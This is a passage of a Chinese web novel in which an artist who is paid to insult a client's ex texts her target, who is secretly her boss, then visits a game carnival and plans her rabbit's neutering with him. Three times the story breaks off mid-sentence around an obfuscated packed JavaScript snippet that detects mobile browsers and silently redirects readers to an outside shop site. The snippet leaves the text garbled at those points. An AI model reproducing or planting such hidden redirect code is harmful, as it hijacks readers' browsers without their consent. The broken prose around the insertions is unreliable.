店铺显示已出售2400+次,好评率97%,有一百多条评价,有夸赞卖家服务态度好的,还有说卖家负责任、骂人超狠,更有让人啼笑皆非的评价称,卖家把渣男骂哭了,渣男被骂的求我退单。 陆言知翻看着,唇角笑意渐深。 她副业倒发展的风生水起的,还分了不同价格的档位,之前她说要陪伴他一年……? 难道有人买了年卡骂他? 陆言知垂眸陷入沉思,是谁呢?难道是竞争对手买来给他添堵的? 他一时间想不明白,但他不打算揭穿任舒晚,想知道买家还是需要从她身上下手,而且她拿钱办事,他不痛不痒的挨几句似乎也没什么。 — 任舒晚紧赶慢赶,终于在晚上下班前交上了箫沉的三视图。 她关掉电脑,收拾东西,就等下班打卡。 等待的几分钟变得十分漫长,她靠在椅子上跟祝笙吐槽,[怎么还有五分钟呀,撑不住了,意式蘑菇,奶油浓汤,芝士…只是女人,容易一往情深……] 祝笙也在摸鱼,回复迅速,[总是为钱所困,终于越陷越深——] 任舒晚:[上班能弹性,下班可以弹性吗?熬不住了。] 祝笙:[还有三分钟,你打完卡在大厅等我,我开车送你回家。] 任舒晚回了个小猫感动含泪的表情。 三分钟细沙般溜走,终于看到时间变为23点整,任舒晚迅速打开下班。 约好大厅碰面,两人却恰好撞在同一间电梯里便一块去停车场开车。 上了车,祝笙问道:“任小晚,你的周年庆嘉年华邀请函送人了吗?” 任舒晚低头扣安全带,随意道:“没,我朋友都不在临城,你要你拿走吧。” 祝笙欣然一笑,“那我不客气啦,我那张给了大学同学,结果我遇到更想送的人了。” 任舒晚动作一滞,隐约嗅到八卦的气味,她抬眸盯着祝笙,审问道:“老实交代。” “没打算瞒你啦。”祝笙得意地扬扬下巴,“那天中午你去拿兔笼,我自己吃饭,吃完饭就溜达着去远处那家新开的咖啡厅取团购的咖啡,在那遇到一个超帅的卷毛弟弟。” 任舒晚惊喜地瞪大眼睛,“天呐,天呐,然后呢?” “然后加了微信,发现兴趣相投,聊得还蛮开心的。那天他邀请我去周年庆嘉年华,他不知道我的工作,是想问我有没有时间一起去玩,他朋友是《破晓瞬间》的主播,参加了当天的竞技赛。” 任舒晚:“这也太有缘了吧!” 祝笙连连点头,“所以我才问你还剩邀请函嘛,想着如果有多余的就送他一张,反正我也不要票,我有工作证。” 任舒晚笑道:“我不用,你拿走拿走,我要全力以赴助力你恋爱之路!” 祝笙佯装感动地吸吸鼻子,“这就是姐妹吗!” 任舒晚骄傲地抬起下巴,“那当然了,我可最爱你了。” 两人闲聊八卦着,很快便了楼下,任舒晚目送祝笙的车开走才上楼回家。 进门包一扔外套一脱,疲惫地躺在沙发上,四仰八叉像只朝天的螃蟹。 元宝见她回来,用爪子扒着玻璃发出声音,试图吸引她的注意。 任舒晚歪头瞧它,看到它耸动的鼻子贴着玻璃,心底瞬间被暖意撑满,她顶着疲倦坐到兔笼边陪它。 元宝一会儿隔着玻璃和她的指尖贴贴,一会儿叼起干草往她手上塞,活脱脱像讨好妈妈的小朋友,任舒晚终于懂了为什么那些妈妈说毛孩子能治愈心灵了。 又陪元宝玩了许久,任舒晚才起身去洗澡。 洗完澡躺床上已经是凌晨,她任劳任怨登上小号完成代骂工作。 最近小铺不算忙,偶尔会接到次卡,都轻轻松松,唯一让她头疼的是年卡渣男,对方已经拉黑她多个小号,再这么下去她已经能预料到结局了,肯定是所有账号都被扔进黑名单。 但不骂又不行,她接的是年卡单子啊! 通过这件事她也意识到,等忙完要重新调整一下收费档位了,年卡实在不太合适,如果都被拉黑,她完全束手无策。 思索间登上6号,试探的给年卡渣男发去好友申请,如她所料,果然6号也被拉黑了。 她找出尘封已久的7号,犹豫再三,决定先稍稍温柔的骂两句试探一下,尽量不让他继续拉黑她,毕竟她只剩两个号了。 她翻个身,抱着手机打字:[晚上好啊渣男,我们商量个事呗,你就别拉黑我了呗,微信黑名单也是有人数限制的,全被我小号占了,何必呢,对吧?] 发完,对方没回复,她继续试探开口。 [我骂你也因为你太渣了,你要是好人我能骂你?你做了那么多坏事,我骂你两句你听着就行了。我呢随便骂骂,你呢随便听听,咱俩井水不犯河水,都睁一只眼闭一只眼,你看怎么样?] 与此同时,陆言知还没睡,看到她发来的消息,眉梢微挑,兴致勃勃,她倒挺会算计,她是不吃亏了,有钱赚有人骂的。 他退出微信,打开浏览器搜索:【微信黑名单有上限吗?】 屏幕跳转,显示回复:【有,微信黑名单上限一千人。】 他轻笑了声,切到微信点下拒绝添加并在备注栏里打字,[我搜了,上限一千人,你有一千个小号?] 任舒晚盯着他的回复咬了咬牙,这渣男想跟她对线都不加她好友! [你怎么知道我没有一千个?] 陆言知勾着唇角打字:[嗯,那你不用担心我了,我可以接受黑名单里全是你的小号。] 任舒晚生气又不好惹怒他,只能硬着头皮回复:[我换号很麻烦!!!] 陆言知笑意渐深,[不让我拉黑你也可以,告诉我是谁来找我骂你的。] ? 任舒晚瞠目结舌,这渣男究竟渣了多少人?居然都猜不到是谁骂他?? [我有职业道德,我不会泄露买家任何信息。] 陆言知挑眉,惋惜地摇摇头,[这是你自己选的。] ??? 什么鬼?又要拉黑?! 任舒晚噌的一下坐起身。 [商量商量啊!] 发完消息,对方没有回复,任舒晚心底一凉,坏事了,又拉黑一个号。 她气得蹬了一脚被子,把怒气倾泻到手机上,[你别敬酒不吃吃罚酒,骂你是因为你欠骂,渣女生的时候怎么不想想报应呢?] 点下发送,丝滑发出。 嗯?没拉黑? 她再次试探打字:[我已经对你很好了,只是骂你几句而已,我拿刀捅你了吗?没有吧?] 发送,发出。 等待几分钟后对方还是没有回复,任舒晚满头问号思索着,难道对方默认接受了她的商量?不管了,先骂完今天的再说。 她拿着手机继续出击。 一条条攻击消息发来,陆言知神色慵懒地滑动手机查看,他已经能想到她现在的表情,肯定像平时偷瞪他时一样气愤。 他眼尾上扬,眸底多了丝微妙的温柔。 任舒晚骂完便把小号下了,切到咸鱼给年卡老板反馈。 最近几天年卡老板也没找她闲聊,对话还停留在上次她劝慰老板,不知道年卡老板有没有走出来。 她斟酌着输入最近渣男的动向,并且把今晚渣男问是谁骂他也告诉了年卡老板。 消息发去年卡老板没回复,毕竟太晚了,任舒晚没想太多,放下手机沉入梦乡。 翌日,任舒晚到了公司又打开咸鱼查看,还是没收到年卡老板的回复,她发去的消息也一直是未读状态。她有些疑惑,又发去一条询问消息,片刻后还是没有查看。 或许太忙了?任舒晚思忖着,倒也好,忙就能很快从失恋阴影里走出去了。 她放下手机,脱掉外套,从抽屉里拿出暖贴贴在肩膀上,缓解颈椎带来的痛感。 就在这时,办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907689|191517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公室门口处突然传来骚乱,她闻声去瞧,就见祝笙和行政部的小李提着一个大储物箱走了进来。 祝笙:“发福利啦!” 小李拆开储物箱,祝笙从里面拿出方形的包装礼盒,开始挨个分发到大家工位上。 办公室立刻响起此起彼伏的对话声。 “公司福利没得说啊,太好了!” “这款按摩仪我知道,价格不便宜呢,我前面买了同品牌的老款,很好用。” “我看到过测评,低头族的福音。” 说话间,祝笙便发到了任舒晚这儿,任舒晚一脸懵地接下礼盒,问道:“什么福利?” “颈椎按摩仪,你肯定又没看群吧。”祝笙一副了然于胸的模样,“陆总说最近大家辛苦,伏案低头很容易得颈椎病,让我们行政安排的。你快拆开试试,正好你不舒服。” 任舒晚应声打开,入眼是一个小型挂脖按摩仪,通体银白色,精致利落,两侧有调节按键,里侧有鼓起得按摩锤。 任舒晚拿出放在脖子上,按照说明书打开电源,仿生的按摩锤开始运动,揉捏着僵硬的颈椎和斜方肌,片刻后又改为牵引,能清晰感觉到带动太阳穴抽动。 “怎么样?”祝笙好奇问道。 任舒晚点点头,“好像还不错,像真人按摩一样,还带加热。” 祝笙笑道:“那就好。哎,太巧了,你颈椎不舒服,公司就发了按摩仪,感觉你最近运气爆棚!” 祝笙说完,任舒晚陷入沉思,最近运气确实好。 “或许是神明给我开挂了吧。”任舒晚从包里拿出红色信封,“邀请函我给你拿来了。” 祝笙欣喜接下,俯身亲昵地抱住她,“爱我的晚,最爱我的晚。” “嗯嗯嗯,好好好。”任舒晚拍着她,“姐妹祝你早日脱单。” — 有了按摩仪,任舒晚的颈椎瞬间轻松许多,一边热敷按摩一边画稿,两不耽误。 少了颈椎痛苦的摧残,她的画稿之路更加顺畅,稀里糊涂的也就过完了加班周。 临近交付日期前,任舒晚所有分镜画稿都通过审核,接着就是和动画组对接,以及后续繁杂零碎的工作。 终于,开屏pv在周年庆前一天上线,任舒晚提着的心总算放回肚子里,看着动画里蝴蝶月和箫沉轮番出场,静止的画稿变为灵动的人物,她心里说不出来的骄傲自豪。 美术组所有工作完美收尾,项目组的运营和策划却迎来了巨大挑战——周年庆嘉年华。 周年庆当天,线下嘉年华活动在临城露天公园举行,祝笙喊着任舒晚一块去玩,顺便见见她的卷毛弟弟。 约好碰面地点,任舒晚早早到了等候,没等多久,远远就见祝笙和一个满头棕色卷毛的弟弟走了过来,两人身高差很多,走在一起甚是般配。 “小晚!”祝笙小跑到任舒晚面前,“这是我朋友,容锦。” 任舒晚看向容锦,长相清秀,戴着一个黑框眼镜,看上去年纪不大,“你好,我是笙笙的朋友,任舒晚。” 容锦微微一笑,眼睛弯成月牙,“你好,小晚姐,我听笙笙姐提过你。” 任舒晚一怔,被喊姐姐还有点不适应。 祝笙看了眼容锦,又看向任舒晚,眼神寻求她的评价。 任舒晚默默点头,乖巧的年下,确实是祝笙喜欢的类型。 得到认可,祝笙笑容更甚,“对了,小晚,还有个朋友,是容锦的哥哥,我跟你提过,他是破晓的主播,明天参加竞技赛,今天跟我们一块玩,你不介意吧?” 说罢,她对着任舒晚意有所指地挑挑眉。 任舒晚头一阵大,她就知道,祝笙又要乱点鸳鸯谱,她待会一定要训她一番。 这时,远处忽然传来清朗的男声,“容锦。” 紧接着一个帅气的男生便走了过来,他穿着一身黑色休闲装,个子很高,头发打理的蓬松利落,长相是精致的帅气,眉眼上挑魅惑的那种。 “来晚了,不好意思。”男生喘了口气,抱歉地笑了笑。 “没事。”祝笙挽住任舒晚,立刻介绍两人认识。 两人对视一眼,男生礼貌道:“我叫邓嘉霖,容锦的表哥。” 19. 第 19 章 嘉年华场地在露天公园中心位置,从入口走进去不算远,四人略显拘谨地往里溜达,经过停车场时,一辆张扬的蓝色超跑闯入任舒晚视线,她步子微顿,好奇去看车牌,怎么感觉跟在陆言知车库里看到的车一模一样? 祝笙走远见她还在原地愣神,循着她的视线看过去,折返回来问道:“你喜欢这车?” 任舒晚:“还好吧,挺夺目的。” “任小晚同学,虽然你对车不了解,但你眼光好啊。”祝笙说,“这车半个小目标吧,临城估计都找不出几辆。” 任舒晚大惊失色,“这么贵?” 祝笙:“对啊,这可是布加迪。” 邓嘉霖接话道:“车子的基础售价就很高,这轮毂和车身定制的手绘都是额外费用。” 任舒晚吞了下口水,不知道祝笙要是知晓这可能是陆言知的车,会是什么表情。 进了公园里面人明显多了起来,沿街的小路上有不少商铺卖小吃饮品,祝笙指了指远处的鲜榨果汁,问道:“小晚,你喝吗?” 不等任舒晚回答,邓嘉霖先道:“我们去买。” 他拉着容锦离开,只剩任舒晚和祝笙呆在原地,四下无人,任舒晚正逮到机会,“我警告你,别瞎搞!” “怎么了嘛怎么了嘛!”祝笙调笑地挽住她,余光瞥了下邓嘉霖的方向,“怎么样?不喜欢?年上,比你大两岁,单身,我都打听好了,签约主播,打游戏很厉害,年收入也非常可观,你不是偶尔也玩破晓,应该蛮有共同语言的。” 任舒晚无语,“我的好笙笙,别撮合了,我没想法呀。” 祝笙不解,“不帅吗?我觉得很帅啊,桃花眼多勾人啊,看狗都深情。” 任舒晚:“他就是看什么都深情,我也无感。” “为什么?”祝笙百思不得其解,顿了顿,忽然茅塞顿开,“你是不是介意他的职业?哎呀,你放心,他是不露脸主播,明天打竞技赛也要戴口罩,没什么乱七八糟的富婆姐姐。” 任舒晚不语,头大得很。 祝笙搂着她胳膊晃着,“又没让你上来就爱上无法自拔,当朋友嘛,合适再谈下一步咯。” 话音落,邓嘉霖和容锦已经朝这边走来,任舒晚敷衍着应了两声,连忙终止这个话题。 邓嘉霖把手中的两杯饮料递到任舒晚面前,“一杯橙子,一杯桃子,不知道你喜欢喝哪种?都没有加冰,这个季节有点凉了。” 任舒晚接过橙汁,“谢谢。” 祝笙笑道:“表哥好贴心啊!” 容锦也立刻邀功,“我知道笙笙姐喜欢桃子,专门买了桃子。” “好好好。”祝笙抬手揉了揉他卷毛脑袋。 一边闲聊一边往中心区域走,绕过休憩的长廊,远远便看到破晓瞬间的展位布置,巨大的游戏图标横亘在路中间,下方写着“破晓瞬间四周年”大字,图标两侧摆放着所有角色的立绘,此时有不少玩家聚集在一起拍照。 再往里走去就是检票口,入口处设计成游戏地图寒城城门的样式,检票进去有身着古装的工作人员为玩家佩戴感应手环,手环可绑定游戏账号,玩家在游园会中可参与挑战,挑战所得积分会同步至游戏中领取奖励。 绑好账号,工作人员给了一张速通情报和集章本,完成游园会所有挑战可获得限定周边福袋,内涵周年庆特色周边,并且能领取游戏内特殊称号,对战时佩戴可获得属性加成。 走进现场,巨大的草坪充斥着来往的玩家,熙熙攘攘,人头攒动。 中间核心区域设置了主舞台,此时正在准备整点的演出,有不少玩家已经入座准备观看。 主舞台两侧则设置了和角色相关的主题摊位,蝴蝶月的摊位准备了机关解谜挑战和飞镖投掷,完成后除了积分奖励还有“机巧大师”的证书,箫沉的摊位则准备了围棋残局和福气签,完成后奖励九洲山庄雪景冰箱贴。 挨个逛了一圈,任舒晚最喜欢的就是冰箱贴,恰好她围棋入门,能做点简单的死活题。 “你喜欢什么?”任舒晚问祝笙。 祝笙看着展示的冰箱贴,眼睛都在发光,“我喜欢这个,可我不会围棋。” 说罢,容锦和邓嘉霖也摇了摇头。 “那我来。”任舒晚看向NPC,问道,“我一个人解四个人的可以吗?” NPC:“可以呀,解几个送几个。” 任舒晚摩拳擦掌。 祝笙:“那你解,我跟阿锦去那边投飞镖,我们争取通关,拿下周边大奖。” 说罢,她头也不回地扯着容锦就溜了,徒留任舒晚和邓嘉霖大眼瞪小眼。 任舒晚看向他,沉吟片刻,指了指摊位里摆着的棋局,“我去做题。” 邓嘉霖应了声,四下看了看,“那我去炽焰的摊位排队吧,那边的波斯文破译人很多。” 邓嘉霖离开,任舒晚独自一身轻,找了个椅子坐下开始解题。 她幼时常跟任爸任妈下围棋,棋艺虽然不精,但这种简单的死活题还是能做的。 几分钟的时间她便把眼前的黑棋做活了,NPC在旁看着,笑道:“恭喜,那边还有。” 她正解得上头,起身直奔下一桌残局。 但仅仅只是几分钟后,她便耸拉下脑袋,拿着棋子愣神,无论黑棋落在哪个位置,都会被白棋吃掉,她尝试多次都无法破解。 这时,一片阴影忽而落下,紧接着头顶便传来熟悉的磁性男声,“围棋不能只顾眼前的利益,白棋在角部做眼,轻松吃掉两颗黑棋的同时另一个眼也活了。” 任舒晚闻声看去,四目相对,陆言知单手插兜,慵懒而立,眼睛微垂着,漫不经心的眸色落在她身上。 “陆总?您怎么也来了?” 陆言知眉梢微挑,顺势坐到她旁边的空椅子上,他个子高,椅子较矮,他只能微屈膝将腿伸向一侧。 “我来视察工作。” “哦。”任舒晚猜到是他的车,便不那么惊讶了。 她目光落回棋局上,拿起一枚黑棋落在白棋要做眼的位置上,“如果这样呢?” 陆言知没说话,修长的指尖执起一枚白棋,落在黑棋旁边,将困于中间的黑棋吃掉。 任舒晚蹙起眉,收掉自己放上的黑棋,又抢过被陆言知吃掉的黑棋,“不对不对。” 陆言知哑然失笑,他不语,靠着椅背饶有兴趣地瞧她。 她无所察觉,聚精会神地盯着棋局,犀利的目光恨不能将棋盘盯出个洞。 陆言知也不急,悠然等着。 下一秒,她忽然醍醐灌顶,“我知道了!” “嗯。”陆言知含笑应了声,他相信她已经想明白了。 任舒晚执起黑棋落在刚才忽略的位置上,直接破坏掉白棋想要做两个眼所需的要点。 “即便如此,白棋也定然不会放手,它必定会继续扩大做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918860|191517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼空间。”她认真分析着,将白棋落下,又执起一枚黑棋。 她冷静应对,认真思索片刻,继续向角里长,棋子落定,白棋暴露出致命的缺陷——两边无法兼顾。 “成了!”她惊喜道。 后续白棋持续落下风,黑棋最后一击形成聚杀状,白棋净死,黑棋成功。 任舒晚抬眸得意地看向陆言知,像等待老师夸奖的学生。 陆言知淡定自若地点点头,眼中笑意闪烁,“很聪明。” 任舒晚骄傲地仰起头,因受到夸赞,耳廓不自觉染了色,“我还是挺适合学围棋的。” NPC见她又解出一题,开口调笑道:“小姐姐该不会要把我们冰箱贴包圆了吧。” 任舒晚嘿嘿一笑。 有了陆言知的加持,任舒晚很快解决了剩下的两盘残局,拿到NPC递来的四枚冰箱贴,她爱不释手反复欣赏。 走出箫沉摊位,任舒晚道:“陆总,我不能给你,这四个冰箱贴都有主人。” 她沉吟一瞬,回头看了看NPC,压低声音道:“陆总,她们外包公司的工作人员不认识你吗?居然不说送你一个,要不我再去帮你解一题?” 陆言知轻笑一声,“我不太感兴趣。” “那好吧。”任舒晚晃了晃冰箱贴,大雪簌簌飘落,很快将九洲山庄的景色覆盖,“真好看。” “其实我猜到你在这了。”任舒晚又道。 “嗯?”陆言知双眸微眯,“你怎么猜到的?” “因为我看到蓝色大鼠标了,是你开来的吧?” “蓝色大鼠标?”陆言知失笑,“是我开来的,一会儿要体验一下吗?” 任舒晚摇摇头,“我坐地铁很方便,都不用换乘。” 话音落,祝笙便走了过来,她手里拿着赢来的证书,刚想跟任舒晚炫耀,看到陆言知后立刻愣在原地,“陆总,您也在。” 陆言知微微颔首,“嗯,来看看。” “哦哦,您辛苦了。”祝笙顺嘴地拍了句马屁。 她拘谨地轻咳一声,看向任舒晚,“邓嘉霖呢?” 任舒晚随手指向炽焰摊位方向,“在排……” 话还没说完,邓嘉霖已经走了过来,手里提着一盏赤红色的火焰灯笼。 他递到任舒晚面前,道:“送给你。” 任舒晚微愣,下意识拒绝道:“不用,我待会再去排队就好了。” 邓嘉霖:“你拿着吧,灯笼数量有限,现在再去排就拿不到了。” “那谢谢。”任舒晚礼貌接下。 邓嘉霖收回手才注意到任舒晚身边站着的男人。 他有些诧异,试探问道:“这位是?” 任舒晚语塞,这该怎么介绍呢?不知道陆言知会不会介意别人知道他的身份。据她了解,这次嘉年华也有策划团现场爆料环节,陆言知没有参与,显然不想抛头露面。 她思忖一瞬,决定避重就轻,道:“我们领导。” “哦,你好。”邓嘉霖礼貌伸出手。 陆言知眼睑微垂,伸手与他相握,淡漠疏离,“你好。” 气氛微妙古怪,任舒晚吞了下口水,道:“那边还有中医铺子,我们过去看看?” 祝笙也有些局促,“好,我都可以。” 任舒晚看向陆言知,沉吟道:“陆总要去看一下吗?” 陆言知眉梢微挑,从容不迫道:“好。” 20. 第 20 章 任舒晚原本只是随口一问,却没想到陆言知果断应了下来,他不是来视察工作的吗?怎么对小游戏也感兴趣了? 但话出口,为时已晚,一行人只能各怀心思朝中医摊位走去。 此次公司为嘉年华活动专门聘请了好几位省院的老中医,公益为玩家把脉,也可写方开药。消息一出就备受玩家关注,从活动开始摊位就排起长龙。 任舒晚选了个相对人少的队伍,没一会儿便排到了他们。 祝笙见到医生就紧张,原本排在任舒晚前面,结果火速换了位置,把任舒晚往前一推,“你先来吧。” “啊?”任舒晚被强硬按到椅子上,她回头看祝笙,“至于嘛。” 祝笙摆手,“我缓缓,我缓缓。” 老中医笑了笑,指指脉枕示意。他年近古稀,头发花白,戴着一副老旧的花镜,诊脉时聚精会神,十分认真。 片刻后,他轻声道:“伸舌头我看看。” 任舒晚立刻照做。 老中医点点头,又示意她换另一只手,“饮食怎么样?拉肚子吗?” 任舒晚:“肠胃不是很好,偶尔会拉肚子。” 老中医应了声,许久后收回手,拿起笔在纸上写下脉象和建议。 这个方式让任舒晚松了口气,中医向来了解病人身体,如果大庭广众下直言不讳,说到隐私难免有些尴尬。 等了几分钟,老中医停笔递上单子,“去吧。” “谢谢医生。” 任舒晚起身退到一侧认真查看,白纸黑字,龙飞凤舞的字体写着:脉相偏细弱,气血亏虚,脾胃虚弱,湿气重,乏力、失眠、体寒。建议少熬夜,多吃红枣、黑木耳、南瓜、小米,平时多拍八虚,睡前揉腹。 她心虚地揣起单子,身体确实被她消耗的很差了,从今往后得遵医嘱好好调理。 “怎么样?”陆言知不知何时走到了她身边,开口打断她的沉思。 “还好还好,有点体虚体寒。”任舒晚看向他,“陆总要诊脉吗?” 陆言知淡淡摇了摇头,语气平淡,“不用,我身体一直很健康。” 任舒晚愣了一下,哑口无言,这是讳疾忌医吧?现在快节奏的生活,工作压力又大,基本都处于亚健康状态。 “你该不会是害怕吧?”她好奇问道。 话音落,空气似乎停滞了几秒,一股无声的压抑氛围在两人间徐徐流动。 陆言知没应声也没反驳,视线缓慢移动到她脸上,平静无波。 任舒晚眨眨眼,不说话是默认了? 她像是发现了什么惊天秘密,神色从好奇转为难以置信,但下一秒,她迅速收回出乎意料的表情,她不能嘲笑他,每个人都有害怕的事情,人之常情嘛。 她缓缓开口,循循善诱,“其实没必要怕,不能讳疾忌医,您为公司操劳,经常熬夜加班,身体难免会呈现亚健康状态,发现问题尽早解决才对,不然等影响生活就要调理很久了。” 说罢,她期待地看向他,“您说对吧?陆总?” 他听得认真,唇角不自觉微微扬起,“很有道理。” “我也觉得很有道理。”她坚定回应,余光瞥到祝笙从椅子上站起来,不假思索地用胳膊碰了下陆言知,“去吧,陆总。” 陆言知沉了一瞬,竟毫不犹豫地走上前。 看着他背脊挺拔地坐在医生面前,任舒晚诧异不已,她第一次好为人师,居然这么成功! 老中医搭上脉,左手诊完又换右手,片刻后收回,含笑开始写单子。 任舒晚好奇,前面几人都给医生看得眉头紧皱,怎么换到陆言知,医生的表情变得那么轻松? 等了几分钟,陆言知拿着单子退到她身边,她立即试探问道:“怎么样?” “很健康。”陆言知淡淡一笑,毫不吝啬地把单子递给她看。 任舒晚没接,就着他的手侧头看起来。 沉取有力,如石投水,元气充沛,肾气充盈,很健康,继续保持。 天呐,任舒晚不可置信地瞪大眸子,她以为没人会逃得过中医,没想到居然真的有人健康无比。 “你不是讳疾忌医!”任舒晚斩钉截铁道。 “我没说。”陆言知轻笑了声,“是你自己猜的。” “那是因为你用表情迷惑我!”任舒晚不满地皱眉,“我还以为我非常适合当老师呢,只是微微出手就能劝你看医生。” 陆言知收起单子,从容不迫道:“我没有反驳你不适合当老师,我确实一开始没打算诊脉,是你劝的我。” 任舒晚冷哼一声,悄咪咪瞪了他一眼,什么跟什么嘛,他总逗弄她。 诊完脉从铺子出来,陆言知接了电话去忙,队伍又变成四人小组,祝笙带领着他们继续浩浩荡荡的挑战活动。 一个小时后,四人分别拿到了周边福袋和限定称号。祝笙没玩够还要吵着去和COS合拍,任舒晚有些意兴阑珊,又不好中途离场,恰好这时邓嘉霖接到训练的电话匆匆离去,任舒晚正好有了理由,嘴上说着不给他们当电灯泡,脚下没有一丝犹豫飞快溜走。 从露天广场溜达出来,经过停车场时任舒晚又看到那辆乍眼的蓝色大鼠标,和车旁长身而立的熟悉面孔。 明晃晃的阳光下,陆言知懒懒倚在车身上。 “陆总,您还没走?” 陆言知收起手机,抬步朝她走来,“我找你有事。” 任舒晚疑惑不已,怎么突然就有事情了,难道他引咎自责,发现总是逗她,大发善心决定给她破例晋升高级画师?好吧,她知道自己在痴人说梦。 任舒晚:“您说。” 陆言知没着急,反问道:“你要回去?” 任舒晚不明所以地应了声。 “上车。”他绅士拉开副驾驶车门,“我送你。” 任舒晚坐上蓝色大鼠标,认真环视着内饰搭配,低调中透露着奢靡,不亏花费半个小目标啊,精致华丽。 陆言知扣上安全带,启动车辆,引擎的轰鸣声瞬间刺激耳膜,产生震动,任舒晚想起那夜高架飙车,心脏不由得收紧,加速血液循环。 陆言知偏头正好瞧见她紧张的神色,淡声开口,“白天不会开那么快。” “哦,对。”她松了口气,除了飞机,没有驾驶工具能逃得了临城拥堵的车流。 他轻转方向盘,车子驶离停车场的同时,他的清冽嗓音便再次响起,“刚才给煤球约了绝育手术,元宝过了发情期了吗?” 原来是因为孩子啊—— 不过说到这,任舒晚忽而想到,她原本也打算要问他的。元宝前几天就恢复正常了,她周末带着它去咨询了几家宠物医院,发现没有普通的宠物医生敢给兔子做绝育,他们建议找异宠医生,最好是专门为兔子做手术的医生。 她后来搜过很多资料,才知道兔子生理结构特殊,对麻醉药非常敏感,所以手术麻醉风险极高。其次兔子胆小,很容易紧张应激,从而发生猝死。 任舒晚道:“元宝也恢复了,我正要咨询你,你要带煤球去哪做绝育?” “一家异宠医院,有一位专科治疗兔子的医生,明天你有时间吗?带着元宝一起吧。” 任舒晚想也没想,立刻应下,“那我需要准备什么吗?” “不需要,医生很专业。”陆言知顿了顿,“不过有个问题,绝育可能会让它们性格产生变化,假如你带元宝去绝育,绝育后它可能会记恨你,不再愿意和你亲近。” “啊……”任舒晚迟疑道,“那怎么办,我接受不了元宝不跟我亲亲。” 说罢,她忽然想到什么,眼睛霎时亮起,“陆总,你知道那些带猫猫绝育的主人通常怎么做吗?” 陆言知疑惑蹙眉,摇了摇头。 “我看过一个视频,猫猫主人安排朋友在家门口等着,主人偷偷把家门打开,猫咪好奇心重会跑出去,这时候朋友装作坏人把猫抓走,主人哭嚎着阻拦,眼睁睁看着猫被带走,朋友把猫去宠物医院,顺利绝育。” 任舒晚说得眉飞色舞,眼里像闪着星光般亮晶晶的。 陆言知偏头望向她,唇角不自觉染上笑意。 任舒晚无所察觉,继续道:“到时候主人去宠物医院接猫,猫还会很感动,觉得主人没有抛弃它。我们也可以这样,我去偷煤球,你来偷元宝!” 陆言知看向前方,神色犹豫,沉默片刻,道:“以后元宝见到我会攻击我吧。” “啊。”任舒晚愣愣地眨眨眼,好像不太重要吧,元宝平常也很少见他啊。 虽然心里这么想,但她总不能说出口,还是积极想办法比较好。 “偷兔的时候带个口罩?”说完她忽然想到,“哦,不对,兔子视力很差,喷点香水,喷你从来不用的香水。” “嗯,好。”陆言知顿了顿,“也只是概率,可能绝育不会让它们记恨我们。” “没事,毕竟绝育利大于弊,我希望元宝能多陪我几年。”任舒晚不甚在意地摆摆手,无所谓啦,只要元宝还愿意跟她亲亲就好。 问题解决,她心情愉快,已经十分期待绝育后的元宝乖巧听话的模样了。 两人又商定了细节,约好明天陆言知先来偷元宝,她再跟着去偷煤球,完成后直奔宠物医院! — 第二天,任舒晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929007|191517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起了个大早,提前准备了一个空的外卖包装袋放在门口,以备待会行动任务。 八点,她准时收到陆言知的消息,[我在门口,五分钟后敲门,敲门后藏在楼梯间。] 任舒晚回了个ok的表情包,迅速将兔笼打开,任元宝不明所以地蹦蹦哒哒跳出来,亦步亦趋跟在任舒晚脚边。 任舒晚装作无事人,自顾自继续装早餐,虽然不知道陆言知吃没吃早饭,但她还是多做了一份。 将两份恰巴塔装进保温袋,又放了两杯热咖啡,门便响了起来。 “来啦!”任舒晚出声回应,步履缓慢地往门口挪动,她需要给陆言知一点躲藏的时间。 她一边走一边用余光观察元宝,元宝原本在茶几那扒桌角,闻声蹦跶着跟她往门口去。 太好了! 见机会合适,她立刻开门去拿外卖,结果映入眼帘的景象让她略微惊讶了一下,她的假外卖旁多了一个真外卖,是蛋糕店的精致包装,透粉色的包装盒,里面放了一块葡萄口味的切块蛋糕,样式精美,顶端坠着不同颜色的鲜葡萄,只是看着便让人垂涎。 她下意识看向楼梯间方向,这个角度并不能看到陆言知的身影,但她知道他在那。 心底莫名泛起一丝异样,转瞬即逝,难以捕捉。 她回过神,把真外卖提起来,转身佯装关门,却刻意留了一道缝隙。 她若无其事往屋里走,实则耳听八方。元宝指甲触地面发出细微的哒哒声,接着安静了一会儿,估计是跳到了门口的地毯上,又过了几秒,哒哒声再次响起,渐行渐远。 她停住步子悄咪咪回身去瞧,元宝已经不见了,但她这个位置看不到外面的情况,只能听到陆言知沉稳的脚步声。 